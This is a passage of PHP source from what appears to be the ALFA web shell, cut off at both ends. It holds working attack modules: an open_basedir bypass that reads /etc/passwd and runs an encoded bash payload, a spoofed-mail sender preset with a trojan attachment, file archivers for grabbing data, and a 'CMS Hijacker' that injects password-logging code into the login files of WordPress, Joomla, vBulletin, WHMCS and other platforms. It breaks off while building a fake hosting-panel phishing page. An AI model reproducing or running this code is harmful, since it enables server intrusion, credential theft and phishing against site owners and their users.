text\/plain php html php4 phtml{$readme}\\nOptions all\";\r\n}elseif($m=='shtml'){\r\n$code = \"Options +Includes\\nAddType text\/html .shtml\\nAddHandler server-parsed .shtml\";\r\n}\r\n@__write_file($d . \".htaccess\", $code);\r\n}\r\nfunction alfabasedir(){\r\nalfahead();\r\necho '<div class=header>\r\n<center><p><div class=\"txtfont_header\">| Open Base Dir |<\/div><\/p><\/center>';\r\n$passwd = _alfa_file('\/etc\/passwd');\r\nif(is_array($passwd)){\r\n$users = array();\r\n$makepwd = alfaMakePwd();\r\n$basedir = @ini_get('open_basedir');\r\n$safe_mode = @ini_get('safe_mode');\r\nif(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){\r\n$bash = \"fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E\/cwgDL\/N+M+\/yQjxbJ+KO3d4\/rHjNusGpZL2DmEITTP\/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA\/X7gePk3UtIPiddMe2dOe8wQN7NP\";\r\n$tmp_path = alfaWriteTocgiapi(\"basedir.alfa\",$bash);\r\n$bash_users = alfaEx(\"cd \".$tmp_path.\"\/alfacgiapi;sh basedir.alfa \".$makepwd,false,true,true);\r\n$users = json_decode($bash_users, true);\r\n$x=count($users);\r\nif($x>=2){array_pop($users);--$x;}\r\n}\r\nif(!$basedir&&!$safe_mode){\r\n$x=0;\r\nforeach($passwd as $str){\r\n$pos = strpos($str,':');\r\n$username = substr($str,0,$pos);\r\n$dirz = str_replace(\"{user}\", $username, $makepwd);\r\nif(($username != '')){\r\nif (@is_readable($dirz)){\r\narray_push($users,$username);\r\n$x++;\r\n}}}\r\n}\r\necho '<br><br>';\r\necho \"<b><font color=\\\"#00A220\\\">[+] Founded \".sizeof($passwd).\" entrys in \/etc\/passwd\\n\".\"<br \/><\/font><\/b>\";\r\necho \"<b><font color=\\\"#FFFFFF\\\">[+] Founded \".$x.\" readable \".str_replace(\"{user}\", \"*\", $makepwd).\" directories\\n\".\"<br \/><\/font><\/b>\";\r\necho \"<b><font color=\\\"#FF0000\\\">[~] Searching for passwords in config files...\\n\\n\".\"<br \/><br \/><br \/><\/font><\/b>\";\r\nforeach($users as $user){\r\nif(empty($user))continue;\r\n$path = str_replace(\"{user}\", $user, $makepwd);\r\necho \"<form method=post onsubmit='g(\\\"FilesMan\\\",this.c.value,\\\"\\\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: <\/font><font color=red><b>$user<\/b><\/font><font color=#FFFF01> ::..<\/font><\/font><\/span><br><input class='foottable' type=text name=c value='$path'><input type=submit value='>>'><\/form><br>\";\r\n}\r\n}else{echo('<b> <center><font color=\"#FFFFFF\">[-] Error : coudn`t read \/etc\/passwd [-]<\/font><\/center><\/b>');}\r\necho '<br><br><\/b>';\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction alfamail(){\r\nalfahead();\r\necho '<div class=header>';\r\nAlfaNum(8,9,10);\r\necho '<center><p><div class=\"txtfont_header\">| Fake Mail |<\/div><\/p><form action=\"\" method=\"post\" onsubmit=\"g(\\'mail\\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\\'>>\\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;\">';\r\n$table = array(\r\n'td1' => array('color' => 'FFFFFF', 'tdName' => 'Mail To : ', 'inputName' => 'mail_to', 'inputValue' => 'target@fbi.gov', 'inputSize' => '60','placeholder' => true),\r\n'td2' => array('color' => 'FFFFFF', 'tdName' => 'From : ', 'inputName' => 'mail_from', 'inputValue' => 'sec@google.com', 'inputSize' => '60', 'placeholder' => true),\r\n'td3' => array('color' => 'FFFFFF', 'tdName' => 'Subject : ', 'inputName' => 'mail_subject', 'inputValue' => 'your site hacked by me', 'inputSize' => '60'),\r\n'td4' => array('color' => 'FFFFFF', 'tdName' => 'Attach File : ', 'inputName' => 'mail_attach', 'inputValue' => $GLOBALS['cwd'].'trojan.exe', 'inputSize' => '60'),\r\n'td5' => array('color' => 'FFFFFF', 'tdName' => 'Count Mail : ', 'inputName' => 'count_mail', 'inputValue' => '1', 'inputSize' => '60')\r\n);\r\ncreate_table($table);\r\necho '<p><div class=\"txtfont\">Message:<\/div><\/p><textarea rows=\"6\" cols=\"60\" name=\"mail_content\">Hi Dear Admin :)<\/textarea><p><input type=\"submit\" value=\" \" name=\"mail_send\" \/><\/p><\/form><\/center>';\r\nif(isset($_POST['alfa4'])&&($_POST['alfa4'] == '>>')){\r\n$mail_to = $_POST['alfa1'];\r\n$mail_from = $_POST['alfa2'];\r\n$mail_subject = $_POST['alfa3'];\r\n$mail_content = $_POST['alfa5'];\r\n$count_mail = (int)$_POST['alfa6'];\r\n$mail_attach = $_POST['alfa7'];\r\nif(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){\r\nif(!empty($mail_attach)&&@is_file($mail_attach)){\r\n$file = $mail_attach;\r\n$content = __read_file($file);\r\n$content = chunk_split(__ZW5jb2Rlcg($content));\r\n$uid = md5(uniqid(time()));\r\n$filename = basename($file);\r\n$headers = \"From: \".$mail_from.\" <\".$mail_from.\">\\r\\n\";\r\n$headers .= \"To: \" . $mail_to. \" ( \".$mail_to.\" ) \\r\\n\";\r\n$headers .= \"Reply-To: \".$mail_from.\"\\r\\n\";\r\n$headers .= \"Content-Type: multipart\/mixed; boundary=\\\"\".$uid.\"\\\"\\r\\n\\r\\n\";\r\n$headers .= 'MIME-Version: 1.0' . \"\\r\\n\";\r\n$headers .= 'X-Mailer: php' . \"\\r\\n\";\r\n$mail_content = \"--\".$uid.\"\\r\\n\";\r\n$mail_content .= \"Content-type:text\/plain; charset=iso-8859-1\\r\\n\";\r\n$mail_content .= \"Content-Transfer-Encoding: 7bit\\r\\n\\r\\n\";\r\n$mail_content .= $mail_content.\"\\r\\n\\r\\n\";\r\n$mail_content .= \"--\".$uid.\"\\r\\n\";\r\n$mail_content .= \"Content-Type: application\/octet-stream; name=\\\"\".$filename.\"\\\"\\r\\n\";\r\n$mail_content .= \"Content-Transfer-Encoding: base64\\r\\n\";\r\n$mail_content .= \"Content-Disposition: attachment; filename=\\\"\".$filename.\"\\\"\\r\\n\\r\\n\";\r\n$mail_content .= $content.\"\\r\\n\\r\\n\";\r\n$mail_content .= \"--\".$uid.\"--\";\r\n}else{\r\n$headers = \"From: \" . $mail_from. \" ( \".$mail_from.\" ) \\r\\n\";\r\n$headers .= \"To: \" . $mail_to. \" ( \".$mail_to.\" ) \\r\\n\";\r\n$headers .= 'Reply-To: '.$mail_from.'' . \"\\r\\n\";\r\n$headers .= 'Content-type: text\/html; charset=utf-8' . \"\\r\\n\";\r\n$headers .= 'MIME-Version: 1.0' . \"\\r\\n\";\r\n$headers .= 'X-Mailer: php' . \"\\r\\n\";\r\n}\r\nif(empty($count_mail)||$count_mail<1)$count_mail=1;\r\nif(!empty($mail_from)){echo __pre();\r\nfor($i=1;$i<=$count_mail;$i++){\r\nif(@mail($mail_to,$mail_subject,$mail_content,$headers))echo(\"<center>Sent -> $mail_to<br><\/center>\");\r\n}}else{__alert(\"Invalid Mail From !\");}\r\n}else{__alert(\"Invalid Mail To !\");}\r\n}\r\necho('<\/div>');\r\nalfafooter();\r\n}\r\nfunction alfaziper(){\r\nalfahead();\r\nAlfaNum(8,9,10);\r\necho '<div class=header><p><center><p><div class=\"txtfont_header\">| Compressor |<\/div><\/p>\r\n<form onSubmit=\"g(\\'ziper\\',null,null,null,this.dirzip.value,this.zipfile.value,\\'>>\\');return false;\" method=\"post\">\r\n<div class=\"txtfont\">Dir\/File: <\/div> <input type=\"text\" name=\"dirzip\" value=\"'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'\" size=\"60\"\/>\r\n<div class=\"txtfont\">Save Dir: <\/div> <input type=\"text\" name=\"zipfile\" value=\"'.$GLOBALS['cwd'].'alfa.zip\" size=\"60\"\/>\r\n<input type=\"submit\" value=\" \" name=\"ziper\" \/>\r\n<\/form><\/center><\/p>';\r\nif(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){\r\n$dirzip = $_POST['alfa3'];\r\n$zipfile = $_POST['alfa4'];\r\nif($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){\r\nalfaEx(\"powershell Compress-Archive -Path '\".addslashes($dirzip).\"' -DestinationPath '\".addslashes(basename($zipfile)).\"'\");\r\necho __pre().'<center><p>Done -> <b><font color=\"green\">'.$zipfile.'<\/font><\/b><\/p><\/center>';\r\n}elseif($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){\r\nalfaEx(\"cd '\".addslashes(dirname($zipfile)).\"';zip -r '\".addslashes(basename($zipfile)).\"' '\".addslashes($dirzip).\"'\");\r\necho __pre().'<center><p>Done -> <b><font color=\"green\">'.$zipfile.'<\/font><\/b><\/p><\/center>';\r\n}elseif(class_exists('ZipArchive')){\r\nif(__alfaziper($dirzip, $zipfile)){\r\necho __pre().'<center><p><font color=\"green\">Success...!<br>'.$zipfile.'<\/font><\/p><\/center>';\r\n}else{echo __pre().'<center><p><font color=\"red\">ERROR!!!...<\/font><\/p><\/center>';}\r\n}\r\n}\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction __alfaziper($source,$destination){\r\n\tif(!extension_loaded('zip')||!file_exists($source)){\r\n\t\treturn false;\r\n\t}\r\n\t$zip=new ZipArchive();\r\n\tif(!$zip->open($destination,ZIPARCHIVE::CREATE)){\r\n\t\treturn false;\r\n\t}\r\n\t$source=str_replace('\\\\','\/',realpath($source));\r\n\tif(is_dir($source)===true){\r\n\t\t$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);\r\n\t\tforeach($files as $file){\r\n\t\t\t$file=str_replace('\\\\','\/',$file);\r\n\t\t\tif(in_array(substr($file,strrpos($file,'\/')+1),array('.','..')))continue;\r\n\t\t\t$file=realpath($file);\r\n\t\t\tif(is_dir($file)===true){\r\n\t\t\t\t$zip->addEmptyDir(str_replace($source.'\/','',$file.'\/'));\r\n\t\t\t}else if(is_file($file)===true){\r\n\t\t\t\t$zip->addFromString(str_replace($source.'\/','',$file),file_get_contents($file));\r\n\t\t\t}\r\n\t\t}\r\n\t}else if(is_file($source)===true){\r\n\t\t$zip->addFromString(basename($source),file_get_contents($source));\r\n\t}\r\n\treturn $zip->close();\r\n}\r\nfunction alfadeziper(){\r\nalfahead();\r\nAlfaNum(8,9,10);\r\necho '<div class=header><p><center><p><div class=\"txtfont_header\">| DeCompressor |<\/div><\/p>\r\n<form onSubmit=\"g(\\'deziper\\',null,null,null,this.dirzip.value,this.zipfile.value,\\'>>\\');return false;\" method=\"post\">\r\n<div class=\"txtfont\">File: <\/div> <input type=\"text\" name=\"dirzip\" value=\"'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'\" size=\"60\"\/>\r\n<div class=\"txtfont\">Extract To: <\/div> <input type=\"text\" name=\"zipfile\" value=\"'.$GLOBALS['cwd'].'\" size=\"60\"\/>\r\n<input type=\"submit\" value=\" \" name=\"ziper\" \/>\r\n<\/form><\/center><\/p>';\r\nif(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){\r\n$dirzip = $_POST['alfa3'];\r\n$zipfile = $_POST['alfa4'];\r\nif(@!is_dir($zipfile)){\r\n\t@mkdir($zipfile, 0777, true);\r\n}\r\n$finfo = \"\";\r\n$file_type = \"\";\r\nif(function_exists('finfo_open')){\r\n$finfo = @finfo_open(FILEINFO_MIME_TYPE);\r\n$file_type = @finfo_file($finfo, $dirzip);\r\n@finfo_close($finfo);\r\n}else{\r\n\tif($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){\r\n\t\t$file_type = alfaEx('file -b --mime-type ' . $dirzip);\r\n\t}\r\n}\r\nif($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){\r\nalfaEx(\"powershell expand-archive -path '\".addslashes($dirzip).\"' -destinationpath '\".addslashes(basename($zipfile)).\"'\");\r\necho __pre().'<center><p>Done -> <b><font color=\"green\">'.$zipfile.'<\/font><\/b><\/p><\/center>';\r\n}elseif($GLOBALS['sys']=='unix'&&!empty($file_type)&&_alfa_can_runCommand(true,true)&&(strlen(alfaEx('which unzip')) > 0||strlen(alfaEx('which tar')) > 0||strlen(alfaEx('which gunzip')) > 0)){\r\nswitch ($file_type) {\r\n\tcase 'application\/zip':\r\n\t\talfaEx(\"cd '\".addslashes($zipfile).\"';unzip '\".addslashes($dirzip).\"'\");\r\n\tbreak;\r\n\tcase 'application\/x-tar': case 'application\/x-gzip': case 'application\/x-gtar':\r\n\t\tif(strstr(basename($dirzip), \".tar.gz\")||strstr(basename($dirzip), \".tar\")){\r\n\t\t\talfaEx(\"cd '\".addslashes($zipfile).\"';tar xzf '\".addslashes($dirzip).\"'\");\r\n\t\t}else{\r\n\t\t\talfaEx(\"cd '\".addslashes($zipfile).\"';gunzip '\".addslashes($dirzip).\"'\");\r\n\t\t}\r\n\tbreak;\r\n}\r\necho __pre().'<center><p>Done -> <b><font color=\"green\">'.$zipfile.'<\/font> <a style=\"cursor:pointer;\" onclick=\"g(\\'FilesMan\\',\\''.$zipfile.'\\');\">[ View Folder ]<\/a><\/b><\/p><\/center>';\r\n}elseif(class_exists('ZipArchive')){\r\n\t$itsok = false;\r\n\tif(emtpy($file_type)){\r\n\t\t$file_type = \"application\/zip\";\r\n\t}\r\n\tswitch ($file_type) {\r\n\t\tcase 'application\/zip':\r\n\t\t\t$zip = new ZipArchive;\r\n\t\t\t$res = $zip->open($dirzip);\r\n\t\t\tif ($res) {\r\n\t\t\t\t$zip->extractTo($zipfile);\r\n\t\t\t\t$zip->close();\r\n\t\t\t\t$itsok = true;\r\n\t\t\t}\r\n\t\tbreak;\r\n\t\tcase 'application\/x-tar': case 'application\/x-gzip': case 'application\/x-gtar':\r\n\t\t\tif(strstr(basename($dirzip), \".tar.gz\")){\r\n\t\t\t\t$new_file = $zipfile .'\/'. basename($dirzip);\r\n\t\t\t\t@copy($dirzip, $new_file);\r\n\t\t\t\t$new_tar = str_replace(\".tar.gz\", \".tar\", $new_file);\r\n\t\t\t\ttry {\r\n\t\t\t\t\t$p = new PharData($new_file);\r\n\t\t\t\t\t$p->decompress();\r\n\t\t\t\t\t$phar = new PharData($new_tar);\r\n\t\t\t\t\t$phar->extractTo($zipfile);\r\n\t\t\t\t\t@unlink($new_file);\r\n\t\t\t\t\t@unlink($new_tar);\r\n\t\t\t\t\t$itsok = true;\r\n\t\t\t\t} catch (Exception $e) {\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\ttry {\r\n\t\t\t\t\t$phar = new PharData($dirzip);\r\n\t\t\t\t\t$phar->extractTo($zipfile);\r\n\t\t\t\t\t$itsok = true;\r\n\t\t\t\t} catch (Exception $e) {\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\tbreak;\r\n\t}\r\nif($itsok){\r\necho __pre().'<center><p><font color=\"green\">Success...!<br>'.$zipfile.'<\/font> <a style=\"cursor:pointer;\" onclick=\"g(\\'FilesMan\\',\\''.$zipfile.'\\');\">[ View Folder ]<\/a><\/p><\/center>';\r\n}else{echo __pre().'<center><p><font color=\"red\">ERROR!!!...<\/font><\/p><\/center>';}\r\n}\r\n}\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction alfacmshijacker(){\r\nalfahead();\r\nAlfaNum(5,6,7,8,9,10);\r\necho '<div class=header><br>\r\n<center><div class=\"txtfont_header\">| Cms Hijacker |<\/div><br><br><form onSubmit=\"g(\\'cmshijacker\\',null,this.cmshi.value,this.saveto.value,\\'>>\\',this.cmspath.value);return false;\" method=\\'post\\'>\r\n<div class=\"txtfont\">CMS: <select style=\"width:100px;\" name=\"cmshi\">';\r\n$cm_array = array(\"vb\"=>\"vBulletin\",\"wp\"=>\"wordpress\",\"jom\"=>\"joomla\",\"whmcs\"=>\"whmcs\",\"mybb\"=>\"mybb\",\"ipb\"=>\"ipboard\",\"phpbb\"=>\"phpbb\");\r\nforeach($cm_array as $key=>$val)echo '<option value=\"'.$key.'\">'.$val.'<\/option>';\r\necho(\"<\/select>\");\r\necho ' Path installed cms: <input size=\"50\" type=\"text\" name=\"cmspath\" placeholder=\"ex: \/home\/user\/public_html\/vbulletin\/\">\r\nSaveTo: <input size=\"50\" type=\"text\" name=\"saveto\" value=\"'.$GLOBALS['cwd'].'alfa.txt\"><\/font>\r\n<input type=\"submit\" name=\"btn\" value=\" \"><\/form><\/center><br>';\r\n$cms = $_POST['alfa1'];\r\n$saveto = $_POST['alfa2'];\r\n$cmspath = $_POST['alfa4'];\r\nif(!empty($cms) AND !empty($saveto) AND $_POST['alfa4'] AND $_POST['alfa3'] == '>>'){\r\necho __pre();\r\nalfaHijackCms($cms,$cmspath,$saveto);\r\n}\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction alfaHijackCms($cms,$cmspath,$saveto){\r\nswitch($cms){\r\ncase \"vb\":\r\nhijackvBulletin($cmspath,$saveto);\r\nbreak;\r\ncase \"wp\":\r\nhijackwp($cmspath,$saveto);\r\nbreak;\r\ncase \"jom\":\r\nhijackJoomla($cmspath,$saveto);\r\nbreak;\r\ncase \"whmcs\":\r\nhijackWhmcs($cmspath,$saveto);\r\nbreak;\r\ncase \"mybb\":\r\nhijackMybb($cmspath,$saveto);\r\nbreak;\r\ncase \"ipb\":\r\nhijackIPB($cmspath,$saveto);\r\nbreak;\r\ncase \"phpbb\":\r\nhijackPHPBB($cmspath,$saveto);\r\nbreak;\r\ndefault:\r\necho \"error!\";\r\nbreak;\r\n}\r\n}\r\nfunction hijackvBulletin($path,$saveto){\r\n$code='$alfa_username = strtolower($vbulletin->GPC[\"vb_login_username\"]);$alfa_password = $vbulletin->GPC[\"vb_login_password\"];$alfa_file = \"{saveto_path}\";$sql_query = $vbulletin->db->query_read(\"SELECT * FROM \" . TABLE_PREFIX . \"user WHERE `username`=\\'\" . $alfa_username . \"\\'\");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, \"a+\");@fwrite($fp1, $alfa_username . \\' : \\' . $alfa_password.\" (\" . $row[\"email\"] . \")\\n\");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, \"w\");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';\r\n$clearpw = 'defined(\\'DISABLE_PASSWORD_CLEARING\\')';\r\n$code=str_replace('{saveto_path}',$saveto,$code);\r\n$login = $path.\"\/login.php\";\r\n$class = $path.\"\/includes\/class_bootstrap.php\";\r\n$dologin = 'do_login_redirect();';\r\n$evil_login = \"\\t\".$code.\"\\n\\t\".$dologin;\r\n$evil_class = \"true\";\r\nif((@is_file($login) AND @is_writable($login)) || (@is_file($class) AND @is_writable($class))){\r\n$data_login = @file_get_contents($login);\r\n$data_class = @file_get_contents($class);\r\nif(strstr($data_login, $dologin) || strstr($data_class, $clearpw)){\r\n$login_replace = str_replace($dologin,$evil_login, $data_login);\r\n$class_replace = str_replace($clearpw,$evil_class, $data_class);\r\n@file_put_contents($login, $login_replace);\r\n@file_put_contents($class, $class_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackwp($path,$saveto){\r\n$code = '$alfa_file=\"{saveto_path}\";$fp = fopen($alfa_file, \"a+\");fwrite($fp, $_POST[\\'log\\'].\" : \".$_POST[\\'pwd\\'].\" (\".($user->user_email).\")\\n\");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, \"w\");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';\r\n$redirect_wp = '#if[ ]{0,}\\([ ]{0,}![ ]{0,}is_wp_error\\([ ]{0,}\\$user[ ]{0,}\\)[ ]{0,}&&[ ]{0,}![ ]{0,}\\$reauth[ ]{0,}\\)[ ]{0,}{#';\r\n$code=str_replace('{saveto_path}',$saveto,$code);\r\n$login=$path.\"\/wp-login.php\";\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(@preg_match($redirect_wp, $data_login, $match)){\r\n$evil_login = \"\\t\".$match[0].\"\\n\\t\".$code;\r\n$login_replace = @preg_replace($redirect_wp,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackJoomla($path,$saveto){\r\n$code = '<?php jimport(\\'joomla.user.authentication\\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\\'username\\'=>$_POST[\\'username\\'],\\'password\\'=>$_POST[\\'passwd\\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file=\"{saveto_path}\";$fp=@fopen($alfa_file,\"a+\");@fwrite($fp, $Alfa_response->username.\":\".$_POST[\\'passwd\\'].\" ( \".$Alfa_response->email.\" )\\n\");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, \"w\");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>';\r\n$code=str_replace('{saveto_path}',$saveto,$code);\r\n$comp=$path.\"\/administrator\/components\/com_login\/\";\r\nif(@is_file($comp.\"\/login.php\")){\r\n$login = $comp.\"\/login.php\";\r\n}elseif(@is_file($comp.\"\/admin.login.php\")){\r\n$login = $comp.\"\/admin.login.php\";\r\n}else{\r\n$login = '';\r\n}\r\nif(@is_file($login) AND @is_writable($login) AND $login != ''){\r\n$data_login = @file_get_contents($login);\r\n$evil_login = $code.\"\\n\".$data_login;\r\n@file_put_contents($login, $evil_login);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackWhmcs($path,$saveto){\r\n$code = '<?php if(isset($_POST[\\'username\\']) AND isset($_POST[\\'password\\']) AND !empty($_POST[\\'username\\']) AND !empty($_POST[\\'password\\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = \"{saveto_path}\";$alfa_uname = @$_POST[\\'username\\'];$alfa_pw = @$_POST[\\'password\\'];if(isset($_POST[\\'language\\'])){$alfa_q = \"SELECT * FROM tbladmins WHERE `username` = \\'$alfa_uname\\' AND `password` = \\'\".md5($alfa_pw).\"\\'\";$admin = true;}else{$alfa_q = \"SELECT * FROM tblclients WHERE `email` = \\'$alfa_uname\\'\";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\\':\\', $row[\\'password\\']);$__encPW = md5($__salt[1].$_POST[\\'password\\']).\\':\\'.$__salt[1];if($row[\\'password\\'] == $__encPW){$allow = true;$row[\\'username\\'] = $row[\\'email\\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, \"a+\");@fwrite($fp, $row[\\'username\\'] . \\' : \\' . $alfa_pw.\" (\" . $row[\"email\"] . \") : \".($admin ? \\'is_admin\\' : \\'is_user\\').\"\\n\");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, \"w\");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>';\r\n$code=str_replace('{saveto_path}',$saveto,$code);\r\n$conf=$path.\"\/configuration.php\";\r\nif(@is_file($conf) AND @is_writable($conf)){\r\n$data_conf = @file_get_contents($conf);\r\nif(!strstr($data_conf,'?>'))$code = '?>'.$code;\r\n$evil_conf = $data_conf.\"\\n\".$code;\r\n@file_put_contents($conf, $evil_conf);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackMybb($path,$saveto){\r\n$code = '$alfa_q = $db->query(\"SELECT `email` FROM \".TABLE_PREFIX.\"users WHERE `username` = \\'\".$user[\\'username\\'].\"\\'\");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = \"{saveto_path}\";$fp = @fopen($alfa_file, \"a+\");@fwrite($fp, $user[\\'username\\'].\" : \". $user[\\'password\\'].\" ( \".$alfa_fetch[\\'email\\'].\" )\\n\");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, \"w\");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);';\r\n$find = '$loginhandler->complete_login();';\r\n$code=str_replace('{saveto_path}',$saveto,$code);\r\n$login=$path.\"\/member.php\";\r\n$evil_login = \"\\t\".$code.\"\\n\\t\".$find;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $find)){\r\n$login_replace = str_replace($find,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackIPB($path,$saveto){\r\n$code = '$Alfa_q = $this->DB->buildAndFetch(array(\\'select\\' => \\'email\\', \\'from\\' => \\'members\\', \\'where\\' => \\'name=\"\\'.$username.\\'\" OR email=\"\\'.$email.\\'\"\\'));$Alfa_file = \"{saveto_path}\";$fp = @fopen($Alfa_file, \"a+\");@fwrite($fp, $_POST[\\'ips_username\\'].\\' : \\'.$_POST[\\'ips_password\\'].\\' ( \\'.$Alfa_q[\\'email\\'].\\' )\\'.\"\\n\");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, \"w\");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';\r\n$find = 'unset( $member[\\'plainPassword\\'] );';\r\n$code=str_replace('{saveto_path}',$saveto,$code);\r\n$login=$path.\"\/admin\/sources\/handlers\/han_login.php\";\r\n$evil_login = \"\\t\".$find.\"\\n\\t\".$code;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $find)){\r\n$login_replace = str_replace($find,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackPHPBB($path,$saveto){\r\n$code = '$Alfa_u = request_var(\\'username\\', \\'\\');$Alfa_p = request_var(\\'password\\', \\'\\');if($Alfa_u != \\'\\' AND $Alfa_p != \\'\\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\\'status\\'] == LOGIN_SUCCESS){$Alfa_file =\"{saveto_path}\";$fp = @fopen($Alfa_file, \"a+\");@fwrite($fp, $Alfa_u.\" : \".$Alfa_p. \" ( \".$Alfa_response[\\'user_row\\'][\\'user_email\\'].\" )\\n\");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, \"w\");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';\r\n$find = 'case \\'login\\':';\r\n$code=str_replace('{saveto_path}',$saveto,$code);\r\n$login=$path.\"\/ucp.php\";\r\n$evil_login = \"\\t\".$find.\"\\n\\t\".$code;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $find)){\r\n$login_replace = str_replace($find,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackOutput($c=0,$p=''){echo($c==0?\"<center><font color='green'>Success<\/font> --> path: $p<\/center>\":'<center><font color=\"red\">Error in inject code !<\/font><\/center>');}\r\nfunction Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){\r\nif(@is_dir($dir)){\r\n$files=@scandir($dir);\r\nforeach($files as $key => $value){\r\n$path=@realpath($dir. DIRECTORY_SEPARATOR .$value);\r\nif(!@is_dir($path)){\r\nif($ext!='*'){$f = basename($path);$f = explode('.',$f);$f = end($f);if($f!=$ext)continue;}\r\nif($e=='str'){\r\n$content = @file_get_contents($path);\r\nif(strpos($content, $string) !== false){\r\necho str_replace('\\\\','\/',$path) . \"<br>\";\r\n}\r\n}else{\r\nif(strstr($value,$string)){\r\necho str_replace('\\\\','\/',$path) . \"<br>\";\r\n}\r\n}\r\n$results[] = $path;\r\n}elseif($value != \".\" && $value != \"..\") {\r\nAlfa_StrSearcher($path,$string,$ext,$e,$results);\r\n$results[] = $path;\r\n}}}}\r\nfunction alfafakepage(){\r\n\talfahead();\r\n\tAlfaNum(9,10);\r\n\techo '<div class=header><br>\r\n\t<center><div class=\"txtfont_header\">| Host Manager Fake page |<\/div><\/center><br><br><form onSubmit=\"g(\\'fakepage\\',null,this.clone_page.value,this.fake_root.value,\\'>>\\',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;\" method=\\'post\\'>\r\n\t<div class=\"txtfont\" style=\"position: relative;left: 50%;transform: translate(-50%);\"><div style=\"margin-bottom:6px;\"><span style=\"display: inline-block;width: 106px;\">Panel: <\/span><select 